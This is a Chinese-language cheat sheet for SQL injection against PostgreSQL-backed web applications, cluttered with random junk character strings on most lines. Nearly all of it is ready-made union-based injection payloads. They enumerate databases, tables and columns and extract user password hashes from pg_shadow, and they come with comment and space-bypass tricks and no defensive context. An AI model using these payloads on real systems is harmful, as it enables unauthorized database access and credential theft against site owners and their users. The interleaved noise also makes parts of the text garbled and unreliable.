结合了MSSQL MySQL Oracle的一些特点3 Z% ?0 n* V' y4 t
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/( R6 D% K8 C6 x! v( h
连接符: %20 , + , /**/ 内置函数:4 W; u# y7 y$ S& `
current_database() //当前数据库名" p2 T, R. U6 s$ @3 w& {
session_user //会话用户
6 H* a/ H5 S' o1 P$ Z% c1 X0 ?current_user //当前数据库用户
) x& _3 d( o( {( h& buser //当前用户" W1 i: j, @) v( L: m+ M0 X% U9 o
version() //数据库版本 Union注射:( O D5 w: W. Y1 @' {" l0 k5 l
order by n–7 o% s- L2 V$ M* Y. U2 M- S6 U
and 1=2 union select null,null,null–) ?. Y3 k' A2 v x/ D' D3 s
and 1=2 union select ‘beach’,null,null–
" _. `2 j) d/ Zand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):2 l+ D# w% x+ e0 S( {7 s5 n$ x
group_concat(table_name)
! T' g. _* n* M6 z) G' ^+ Sand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
7 [2 y: q/ z2 c7 k( Uand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
" d4 p( S1 q" E+ y% P, m' Z(老版本)
( E( W3 F. P* @ @: U+ y' m% k5 k- e3 Hpg_class.oid对应pg_attribute.attrelid
( T; u# U" l2 ~3 u) G" J! ppg_class.relname表名/ h$ z, Q+ R0 ]7 T% q
pg_attribute.attname字段名 select relname from pg_class获取表名
6 T9 h' T: E! A/ g! aselect oid from pg_class where 条件 获取参数# }$ y; S: k, s0 y" [, _7 b
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
9 g) {, r3 r% F" qand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表 C8 A+ V1 f2 F+ N% [2 X3 v. X; n
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
. W) G. E- H8 R# B$ n0 Z2 l由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名8 Q4 G6 Z6 N4 W. G: V/ S, j+ J; c
======================================================================0 L' `3 k. e3 W3 Q1 z
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库# \ O/ h6 C( P& D$ |
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |